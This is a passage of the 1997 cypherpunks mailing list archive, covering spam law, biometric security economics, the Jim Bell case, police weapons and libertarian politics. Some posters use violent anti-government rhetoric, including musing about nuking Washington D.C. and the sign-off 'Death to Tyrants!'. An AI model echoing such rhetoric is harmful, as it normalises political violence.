exception, rather than the norm).   Individual contractors will continue to
make their own short-term arrangements, negotiating for the kind of
remuneration which they will accept in exchange for their work.   One can
extrapolate from that any further developments towards individual leverage
in such arrangements.

Some people fear that this will only change the face of the Master and not
improve the situation at all.   But they forget that as long as they can
change employers, as long as they are not coerced into working for any
particular company, they can not only go where they find it best for
themselves, but they can of course create their own business organzation.
(duh)

This isn't really an idea for an alternative to violence; more of a
presentation of an existing trend which could obviate the need for armed
confrontation and explosive plans of action.    It does not take away the
need to always be prepared for self-defense (but there are many ways to
defend oneself); it does not take away from the need to let PowerMongers
know that individuals are willing & able to use destructive means to
prevent totalitarians from assimilating everyone into an amorphous mass of
subservient bodies.

But it does require perspective into the future, of imagining practical
developments from current trends, of researching the possibilities for
positive outcomes.  It requires that one think in terms of practicality
more than in terms of "sticking it to them".   But then some people are
looking for a good fight, too (on both sides).   I just personally wouldn't
want to be there when they clash.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 23 May 1997 17:59:03 +0800
To: tzeruch@ceddec.com
Subject: Re: Compelling a key (fwd)
In-Reply-To: <97May22.131535edt.32257-1@brickwall.ceddec.com>
Message-ID: <3.0.1.32.19970522233520.00738744@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:18 PM 5/22/97 -0400, you wrote:
>Why does everyone still have cypherpunks@toad.com in their Cc: list, or
>how can I get it to work so I don't have to edit the headers (back to the
>procmail manual...)

Cypherpunks@toad.com still forwards the list to
cypherpunks@algebra.com and cypherpunks@cyberpass.net and
probably other locations.  So you can send postings to cypherpunks@toad.com
and they'll forward on to the lists.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Fri, 23 May 1997 15:11:56 +0800
To: Steve Schear <cypherpunks@toad.com>
Subject: Re: FCPUNX:The USA is the world's biggest terrorist state
Message-ID: <199705230643.XAA01877@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:56 PM 5/21/97 -0700, Steve Schear wrote:
> The US is in very real danger of reaping the same sort of maelstrom that
> vanquished the Romans.  They were also very powerful, with tentacles
> reaching almost to the limits of their known world, before a combination of
> internal decay and dissention and reprisal from those vanquished put them
> asunder.

Regrettably, this depiction of the fall of the Roman Empire is incorrect.

During the last period of the Roman empire in the west, the empire was
both very weak, and extraordinarily brutal to its subjects, torturing
to death huge numbers of people on a scale no seen again until the
twentieth century.

Despite this they never encountered any resistance from their terrorized
subjects.

Only free people , and people who recently were comparatively
free, rebel.

A world government would not fall until it had tortured to death
such a large proportion of the population that there was enough
wilderness to protect runaways, or until its technological level
fell so low that its communications stopped working.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 23 May 1997 15:00:05 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <33853CBA.2781@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote:
> 
> In late April 1984, someone broke into law offices at 1123 S. W.
> Yamhill St. and poured a liquid on a hallway run that was so
> odorous it made at least one of the lawyers who smelled it vomit
> twice.

What's the statute of limitations on stink bombs?  Surely, it's too
late to prosecute him for this?

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: decius@ninja.techwood.org (Decius 6i5)
Date: Fri, 23 May 1997 12:50:03 +0800
To: cypherpunks@toad.com
Subject: New Chip Verifies Fingerprints (fwd)
Message-ID: <m0wUlwu-00001AC@r42h17.res.gatech.edu>
MIME-Version: 1.0
Content-Type: text/plain


> Veridicom, a spinoff of Lucent Technologies, just demoed (at
> CardTech/SecurTech '97) their chip that can perform fingerprint
> recognition/authorization.  They plan on selling them for $300 each
> (same cost as this face recognition system Gregory's mentioned).  The
> article doesn't say when they will be available.
>
> http://www.sfgate.com/cgi-bin/chronicle/article.cgi?file=BU41045.DTL&
> directory=/chronicle/archive/1997/05/22

I am mailing this to cypherpunks and BCCing the original list because it
is not nearly as open. I am putting on my cypherpunk hat here, and
although this is not a general discussion list I think this warrants
comment. (I would also like to see what the cypherpunks have to say.)

Eric Hughes said that "Cryptography is about economics."

When I am designing a system, I weigh the cost of securing the system
verses the expected loss that will be incurred if the system is not
secure. The cellular phone industry decided that it would cost them more
to secure their system than it would to swallow the losses. They were
wrong, but I will not digress into that. The point here is clear. Security
is an economic choice. It is a business decision. Furthermore, if I decide
to secure a system, I need only use enough security such that the cost to
break that security is equal to the value of that which is being secured.
Any additional security is a waste of money. 

When I am breaking a system I will always attack the weakest link (unless
I am doing this for intellectual challenge but that is not really the
point here). This is obvious. Lets take a look at a sample Biometric
security system: Fingerprints are used to replace the pin codes on an ATM.

I am being very general here, but there are four main peices to this
system. The banking network itself, which is DES encrypted, the ATM,
the biometric system and the human being. Note the contrast with a
non-biometric system, which consists of the network, the ATM, and
a pin code. Biometrics pull the human into the equation. 

Cracking DES would cost more than a million dollars. 
I can't put a value on cracking the ATM, but they are designed to be
difficult to open up and most are in places where they are very visible,
so the cost is very high. 
I have not seen anyone present a method for attacking a biometric security
device. If you assume that you will have to develop one you are again
talking about millions. 
How about "cracking" the human... How much does a good sturdy knife cost?
Less than $20.

If I get mugged and the mugger wants access to my bank account all he has
to do is chop off the relevant finger. Don't laugh. This *WILL* happen.
Biometrics create an general economic incentive for maiming or murdering
people.    

I will take you one further... *When you implement a biometric system you
are deciding that the value of that which is being protected is greater
than the value of the lives of the people who have access to it.*

This is obvious if you look at the trade-offs. You are securing the system
such that the easiest way to break it is to kill a person. Obviously this
will reduce your instances of fraud, as killing a person is more messy
then hacking a pin code. However, because the cost of killing someone is
smaller than the value of the object being protected, there are going to
be losses. You have to decide that you are capable of swallowing those
losses. You have to decide that the value of the decrease in fraud over
a non-biometric system is greater than that of the lives of the people who
are lost when fraud does occur. This is a despicable situation, but don't
think you won't see it. It is probably inevitable now. 

One additional point. The possibilities for surveilance inherent in
biometrics are fearsome. If I managed to compile a large database of
people's names, social security numbers, and face prints; I could set up a
closed circuit camera system in my store which would provide me with the
name, home address, credit, and other information about every person who
enters my business, AUTOMATICALLY, without the customers even being
cognisant that this is going on. The marketing people will be going nutz
over this possibility. I'm going to the drug store for some Pepto... 
  

-- 
        */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
                       Decius@ninja.techwood.org

"If the economic, social and political conditions... do not offer a basis 
for the realization of individuality, while at the same time people have 
lost those ties which gave them security... powerful tendencies arise to 
escape from freedom into submission." -- Erich Fromm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 16:18:32 +0800
To: cypherpunks@algebra.com
Subject: Re: Police & military access
In-Reply-To: <199705230204.VAA18264@einstein.ssz.com>
Message-ID: <v03102801afaafa5c878b@DialupEudora>
MIME-Version: 1.0
Content-Type: text/plain


At 11:23 PM -0700 5/22/97, Kent Crispin wrote:
>On Thu, May 22, 1997 at 09:04:15PM -0500, Jim Choate wrote:

>> Do police have any civil rights not endowed to a individual citizen?
>
>No.  But on the job, doing their state assigned duties, they have
>access to instrumentalities not available to private citizens or
>off-duty police.  "On" and "off" duty may sometimes be a little fuzzy
>in practice, but the principle is clear.  It isn't a big deal, and
>it's not a matter of civil rights.  A license to practice medicine
>gives you the ability to prescribe morphine.  A certain class of
>drivers license lets you drive a school bus full of children.

There is a current case involving a cop who is on the verge of losing his
ability to be a cop because he pled "nolo contendre" to a domestic abuse
charge a decade or so ago. The local law says that anyone in this situation
may not have a gun, period. Thus, now that the law has caught up with him
(no details on how and why this was not known until recently) he may not
have a gun and thus may well lose his job.

This would seem to support Jim Choate's general position. (Though I have my
own skepticism that many jurisdictions think it is true.)

I have no problem with the notion that there is no weapon, no technology
which certain government officials or police may have but which civilians
are *not* allowed to have. I don't think the Founders envisioned any such
circumstances.

The usual cited case is of private ownership of nuclear weapons. For an
interesting treatment of this, see Vernor Vinge's "The Ungoverned." I'm not
persuaded that the extreme cases of nuclear weapons and aircraft carriers
have much to do with anything. I certainly think "assault weapons" are
perfectly fine for individuals to own...even machine guns, which friends of
mine have owned.

(The Founders didn't know about nuclear weapons and biological weapons, but
they surely knew about various other deadly compounds, including deadly
poisons and the like. And yet there is no mention in the Constitution or
related papers that some of these substances may be owned by the police but
not by citizens. "Forbidden knowledge" is the relevant concept here. Of
course, what do you expect from a system which outlaws gambling but then
has the State running gambling operations?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 23 May 1997 16:33:43 +0800
To: cypherpunks@toad.com
Subject: Re: Not that I'm a troublemaker, but...
Message-ID: <199705230755.AAA00034@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


I was watching the national news broadcast a picture of the key to
the Ryder truck that was purportedly found near where McVeigh's car
was allegedly parked.
  I thought it would be an interesting project for someone with the
proper technological tools to take the picture and add a graphic of
the "bloody glove" beside it.

Key Asscrole






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 16:22:11 +0800
To: cypherpunks@algebra.com
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <v03102802afaafdd55887@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:44 PM -0700 5/22/97, Tom Weinstein wrote:
>Alan Olsen wrote:
>>
>> In late April 1984, someone broke into law offices at 1123 S. W.
>> Yamhill St. and poured a liquid on a hallway run that was so
>> odorous it made at least one of the lawyers who smelled it vomit
>> twice.
>
>What's the statute of limitations on stink bombs?  Surely, it's too
>late to prosecute him for this?
>

Good point! This didn't even occur to me (nor apparently to the writer of
the article, nor maybe even to the cops).

It sure looks like they're trying to throw a bunch of charges against the
wall and hope that some of them stick...or scare Bell into pleading to a
lesser charge, etc.

Seems to me a good attorney could carefully dissect the "innuendo charges"
(e.g., undermining the government, stink bombs long in the past, manifestos
calling for AP, etc.) and separate them from each other, leaving very
little of substance to get a conviction on.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Fri, 23 May 1997 17:04:06 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Hacked, Trashed and Out of Beer
In-Reply-To: <v03007803afa82e2d94a2@[207.94.249.80]>
Message-ID: <Pine.BSI.3.91.970523014805.25486b-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 20 May 1997, Bill Frantz wrote:

> Gee, your server sure wants to send a lot of cookies.  I consider receiving
> a cookie before getting a statement, or being able to guess (e.g. WEB
> shopping), about their use to be an unfriendly act.

The SysAdmin for the domain has installed AccessWatch for maintaining an 
HTML version of hit statistics for the server. This application is doing 
what you mention above. There is no nefarious purpose in trying to get 
you to my page. Check out: http://www.dis.org/access to see what all the 
cookies being sent are being used for.

se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 23 May 1997 17:19:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Huns 1, Romans 0
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <199705230852.BAA32187@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 11:32:18PM -0800, Tim May wrote:
> At 9:44 PM -0800 5/21/97, one of the KCs wrote:
> 
> >I should have posted my comment anonymously, obviously.  I appologize
> >to Mr Hun and the world for my mistake.  I must have confused him
> >with one of the TMs.
> 
> One of the TMs? How could you mistake Attila for me?

Truth Monger, Trash Mongrel, Trivia Monster, Tripe Master, Terror
Minion -- there are lot's of TMs.  Maybe they are all the same. 

KC #0  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 23 May 1997 18:07:14 +0800
To: frissell@panix.com
Subject: Re: Forgeries are your Friend
In-Reply-To: <3.0.2.32.19970522203625.03fffe64@panix.com>
Message-ID: <Pine.SOL.3.96.970523023457.18364A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 22 May 1997 frissell@panix.com wrote:

> So far in my close observation of the history of American jurisprudence I 
> haven't seen too many written things that were legal at one point and later 
> became (criminally) illegal. 

I was thinking more of talking about things you do which are now legal but
later banned. For example a signed admission of smoking followed by a ban
and 'war on tobacco'. Not enough to lock you away for, but possibly enough
to make you a candidate for a dawn raid by the 'jackbooted fascists'; I'm
sure that if you had a nice piece of land to seize the message would be
used as evidence to back up an 'anonymous tip' about cigarette dealing in
order to get a warrant. 

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Fri, 23 May 1997 15:45:45 +0800
To: Greg Broiles <gbroiles@c2.net>
Subject: Re: Crypto use to foil law enforcement?
In-Reply-To: <199705201915.MAA22723@comsec.com>
Message-ID: <3.0.1.32.19970523032158.00a8d9e0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:36 AM 5/19/97 -0700, Greg Broiles wrote:
>I ran across this entry in the Congressional Record which discusses several
>examples where encryption was discovered in the course of a law enforcement
>investigation. 
>
>[Congressional Record: September 18, 1996 (Senate)][Page S10882-S10886]
>
>[...]
>
>Mr. GRASSLEY. Mr. President, I'm pleased that the Senate has passed 
>the eonomic espionage bill. This is an important measure that I believe 

[...]

>  The third case, however, especially illustrates the seriousness of 
>decryption problems--determining the unique key or in this case, 
>password from a large number of possibilities. According to Agent 
>Davis, a mere 4 character password has 1.9 million possibilities due to 
>the number of keyboard characters. Can you imagine how difficult it 
>must be to figure a short, 4 character password. What if the password 
>were 10 characters or 20 or more? It's easy to see why criminals are 
>moving toward password protection for their records.

With the congress so woefully uninformed that they confuse password 
protection with cryptography and naive enough to believe that 1.9E6 
possibilities represents a serious roadblock to entry, it looks like we have 
a major education effort to perform.

It is interesting that there were no examples in this summary of crypto used 
for communications -- but that's completely consistent with what we've been 
hearing all along.

 - Carl


+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 23 May 1997 17:12:58 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Prevention System?
Message-ID: <199705230854.EAA23450@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


I was wondering if perhaps a way to minimize the hassle with sitting
on one's thumb while waiting for unwanted email to download could be
eased by an email program which retreived only headers, allowed you to
delete the unwanted ones, and then retrieve the wanted ones, deleting
the rest.
  Is this feasible?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 23 May 1997 18:59:52 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Quotation for 5/23/97
Message-ID: <3.0.1.32.19970523063805.009cb800@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
Today's quote of the day seems only *slightly* appropriate for this list. :)

>Before all else, be armed.                                  
>Machiavelli (1469-1527)

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If it weren't for doctrine, a lot of the world's religions would get
along a lot better, because the core roots of their beliefs aren't that
dissimilar, it's the interpretation and the rules that grew up around
them that seem to cause all the trouble.
J Michael Straczynski -- Creator of _Babylon_5_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 23 May 1997 19:20:06 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: V-Chips for the Internet
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <3.0.2.32.19970523070030.03c8abfc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>
>Quote:
>
>                MS. LEWIS: It's our understanding, and we just checked
>this with people at the White House who know much more about 
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>technology than all of us put together, that there is in fact technology 
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>being developed that would serve as the equivalent of a V-chip for the
>Internet, and we think that's what the President referred to.


Quite a sense of humor that.

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 23 May 1997 23:16:17 +0800
To: cypherpunks@toad.com
Subject: Re: The Natives Are Getting Restless
Message-ID: <199705231449.HAA12598@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Friday, May 23, 1997 - 16:33:14 MET

It has been said that the greatest lesson learned from the vietnam 
war by the military industrial complex, was the need for effective 
disinformation and its role in dividing groups that would otherwise 
hang together against a common enemy.

Applied to the home front this translated into "identity" politics. 
To break up the antiwar and youth movements of the 60s, everyone 
was defined as a minority with their own agenda and lexicon. 
Feminists, Vanishing White male,  Black Power advocates, 
Gays/Lesbians,  christian peaceniks, hispanic farm workers, etc each 
was pitted against the other by underscoring their departure points 
in a machevelian plan to divide and conquer those that had united 
against the war and the MIC.

For the most part this has been extremely 
successful and any meaningful dialogue on a national scale has long 
been next to impossible because of it.

List members should be the first to rise above the base tactics of 
the enemy. We need to develop a language of inclusion that unites all 
of these seemingly disparate peoples against the common enemy.



> Blanc wrote:
> 
> > If this society is at war, it is a Civil War, fighting against itself.   In
> > fact, there are many groups fighting against each other, on many different
> > levels:  racial, gender-based, religious, economic, philosophical, not to
> > leave out political.    Companies are fighting each other "tooth & nail"
> > for survival in marketing turfs, races are still exchanging vicious barbs,
> > homosexuals are under verbal & physical attack by the socially "normed",
> > the poor still envy & disparage the rich, women & children seem more than
> > ever to be at risk to attacks from roving sex perverts, the liberals would
> > love to put the libertarians under, religious groups lecture against the
> > moral depravity of all those "other" people, and half the country is either
> > stocking up for a National Disaster or forming into militia groups or other
> > Think Tanks to fight some sort of government encroachment (even the health
> > food stores where I shop are always posting sign-up sheets to vote against
> > something or another the government wants to ban or some right-of-choice
> > that is being threatened by proposed legislation).
> 
>  Second only to Miss Piggy among deep thinkers, Mrs.
> Wiggs, the one with the cabbage patch, said this: "In the
> mud and scum of things ... Something always always
> sings."
> 
>   I am grateful that there is at least one female on the list who
> is capable of stepping into the middle of the "Dick Wars" on the
> list and reminding the men that the "targets" they talk about have 
> names, faces, and children.
>   I am aware that there is a human cost inherent in every conflict,
> and I accept that it will always be so, but I cannot accept the
> idea that one can leave their conscience clear by "criminalizing"
> their target and discounting their target's humanity.
>   I am an anarchist and a realist. If I had a button that would
> nuke D.C., I might well push it--but I am also a thinking, feeling
> human, and I would cry a river of tears, as well. When I estimate
> a "body count", I never fail to count the children.
> 
>   Blanc's aim is true when she speaks of the growth of reactionary
> posts to the list which fail to include a foundation of creative
> thought. 
>   Anyone can return fire when attacked and turn the situation into
> a firefight where a random volley of ammo decides the outcome of
> the battle. However, a good squad leader already has his defences
> in place to deal rationally with situations that can easily be
> forseen before they arise.
>   When "they" come for your neighbor today, will you be surprised
> when they come for _you_ tomorrow? When I first heard of Jim Bell's
> arrest I began composing a reply to Hallam-Baker's coming post. It
> may be vocal and emotionally charged, but it is not done solely
> out of blind reactionism.
> 
>   God bless Blanc.
> 
> TruthMonger -96
> 
> 
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 21:52:52 +0800
To: Cypherpunks@toad.com
Subject: SIGH Kent clueless again(was Re: spam is a good thing (was Re: Spam IS Free Speech))
In-Reply-To: <19970522144701.16280@bywater.songbird.com>
Message-ID: <199705231330.IAA29895@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <19970522144701.16280@bywater.songbird.com>, on 05/22/97 
   at 03:47 PM, Kent Crispin <kent@songbird.com> said:

>On Thu, May 22, 1997 at 03:07:14PM -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>[...]
>>I as the owner of
>>certain computer equipment have the right to determin who uses such
>>equipment and how. It should be no different that my right to determin who
>>can enter my house and who can not.

>Your analogy is flawed in many ways.  1) The entities entering your 
>house have an identity; what is actually entering your computer 
>equipment is just bits, which have no identity.  Spamfords bits are  no
>different than anyone elses.  2) By the very act of connecting to  the
>network you agree to recieve any bits that are automatically  routed to
>you.

No not at all. Just because I am connected to the network I am under no
obligation to accept a single bit. I don't have to ever download any mail
or I can download all or I can pick and choose what I accept or what I
don't.

>>If I inform Spamford that he is not
>>welcome in my house and he still insists on comming in I should have some
>>recource to stop him.

>You are perfectly free to disconnect your computer from the net.  You are
>free to try to find a provider that guarantees not to pass any spam on to
>you.  But unless you have some contract with your provider that specifies
>special rights, when you sign up you implicitly agree to accept the bits
>aimed at you -- otherwise you couldn't receive any email at all.  What
>you get on the wire is a function of explicit and implicit contractual
>obligations.  This is true whether you are UUNET peering with ANS or
>whether you are a PC on a dialup line.

Obviously you have not ever entered into contract agreements with an
accesses provider. There is no obligation on my part to receive a single
bit. If I never run a sendmail daemon then I will never receive a single
e-mail message regardless of how many are aimed at my servers. This is the
same with any TCP/IP service. The only obligation I have with my upstream
provider is to pay my bill. If I choose to bounce everything that is
routed from Spamford it is my right to do so as it is *MY* equipment. 

>>
>>IMHO this can be taking care of through civil courts hitting the spamers
>>where it counts in the wallet. As far as identification this is quite
>>simple to do without the above measure.

>Identification isn't the problem at all.  The problem is that you  have
>no grounds on which to base a suit.  Just as you can't sue me for 
>sending this mail -- it's an exchange you entered into of your own  free
>will.

For the occasional spam then a lawsuit would be pointless. If you decided
to dump 10,000 messages a day and deny the use of my equipment by myself
and my clients then I would have a very strong case for litigation. You
seem to forget that this is MY equipment and it is you who have no rights
regarding the use of it. I have the final say so as to who uses it and
how.

> Even if Spamford uses tricks to
>>cover his tracks his clients are known as they tell you who they are in
>>their spam. Traceing back to Cyber-Momo is trivial once his clients are
>>known. IMHO when Compu$erve suied Spamford thay should have listed all of
>>his customers in the lawsuit.
>>
>>>Yeah but he didn't kick anything in, he just used something which was
>>>setup to be used for free, in an unmetered fashion, where no contracts
>>>were agreed to before hand.
>>
>>No it was not. Just because you leave a door unlocked does not mean that
>>anyone has the right to enter. If you run into the store and forget to
>>lock the doors on your car does that mean that anyone has the right to
>>drive off in your car? If you leave the front door unlocked on your house
>>does that mean that anyone can walk in and help themselfs to the contents
>>of your house?

>All flawed analogies.  You *did* agree to recieve mail -- in fact,  that
>is one of the primary uses of your computer -- and you did *not*  place
>any restrictions on that connection.  Furthermore, you can't -- 
>no one will sell you an internet connection at any level where they 
>will accept a contractual obligation to keep spam from getting to you.

Once again it is you who have it wrong. I have agreed to nothing other than to pay my bill for my connection. If Cyberpromo starts filling my clients mailboxes with spam and tieing up bandwidth I am under an obligation to my client to stop him from doing so. My obligation is to my clients to provide the services they have paid for. I would be remiss in my duties if I allowed such actions to continue both to my contractual obligations to my clients but also my feudatory responsibilities to the stockholders of my corporation.

You do not have a right to send mail to my system I have an obligation to my clients to allow them to receive mail. This is a important distinction that needs to be made. You have no rights regarding the use of my equipment. Furthermore if your actions deprive the use of my equipment by myself and my clients you can find yourself both financially and criminally liable.

>[...]

>>I never have argued for more legislation of the internet for any reason. I
>>just think that creative use of current laws can put an end to this
>>pestilance. I don't see remailers being hurt in this as the whole purpose
>>of spam is to be non-anonymous (you can't sell anything if they don't know
>>where to send the money to). I do think that litigation can be used
>>effectivly to put an end to Spamford without changing the current
>>structure of the internet.

>I don't see any legal basis for it. 



- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

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Tag-O-Matic: He who laughs last uses OS/2.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 23 May 1997 23:51:25 +0800
To: cypherpunks@cyberpass.net
Subject: Spam complaints 14 times worse than Spam.
Message-ID: <199705231530.IAA24640@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


This was from:

Tasty Bits From The Technology Front

 Your Host:  Keith Dawson

    This issue: <URL:http://www.tbtf.com/archive/05-22-97.html>

..Mailing-list spammers..

    Email spam is the favorite gripe of most Netizens, excepting the
    spammers. Congress is considering legislation [25] to limit the
    practice of sending unwanted commercial email in bulk. Not everyone
    thinks this is a good idea. See [26] for a thread from an ongoing
    debate on Declan McCullagh's fight-censorship mailing list. George
    Matyjewicz <mosaic1@ix.netcom.com> did a modest experiment on a
    week's worth of his email -- he is on 56 mailing lists and gets
    around 200 messages a day -- to gauge how widespread the problem
    actually is. Matyjewicz posted these results:

                        week     avg/day

      Total messages    1,354    193.4
      Spam messages        10      1.4     < 1 %
      Spam complaints     189     27.0      14 %

    Mailing-list owners share information on the addresses from which
    commercial spam messages originate. Recently Alexander Verbraeck
    <A.Verbraeck@duticai.twi.tudelft.nl> posted a particularly compre-
    hensive list of purported spammers. I have taken the liberty of
    preserving a snapshot on the TBTF archive [27], sorted both by email
    address and by "virulence" -- the total number of messages sent by
    each spammer over a given time period to two of Verbraeck's lists.
    Thanks to Tom Parmenter <tompar@world.std.com> for the tip.

    [25] <URL:http://www.news.com/News/Item/0%2C4%2C10875%2C00.html>
    [26] <URL:http://www.tbtf.com/resource/to-ban-spam.html>
    [27] <URL:http://www.tbtf.com/resource/spammers.html>

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 23 May 1997 17:10:54 +0800
To: ichudov@algebra.com
Subject: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705230408.XAA32582@manifold.algebra.com>
Message-ID: <199705230735.IAA00651@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
>
> plz do not use bcc

Why not?  It is quite convenient for coping with the non-cross posting
policy of other groups.

Also what is it with the <cpunks@manifold.algebra.com> forwards, why
are these coming to the list forwarded from that address?  Are they
things which failed your procmail filter manually forwarded
afterwards?

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CDR Filter Account <cpunks@einstein.ssz.com>
Date: Fri, 23 May 1997 23:02:32 +0800
Subject: No Subject
Message-ID: <199705231416.JAA19900@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 22:44:41 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Prevention System?
In-Reply-To: <199705230854.EAA23450@dhp.com>
Message-ID: <199705231429.JAA30660@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705230854.EAA23450@dhp.com>, on 05/23/97 
   at 02:54 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:

>I was wondering if perhaps a way to minimize the hassle with sitting on
>one's thumb while waiting for unwanted email to download could be eased
>by an email program which retreived only headers, allowed you to delete
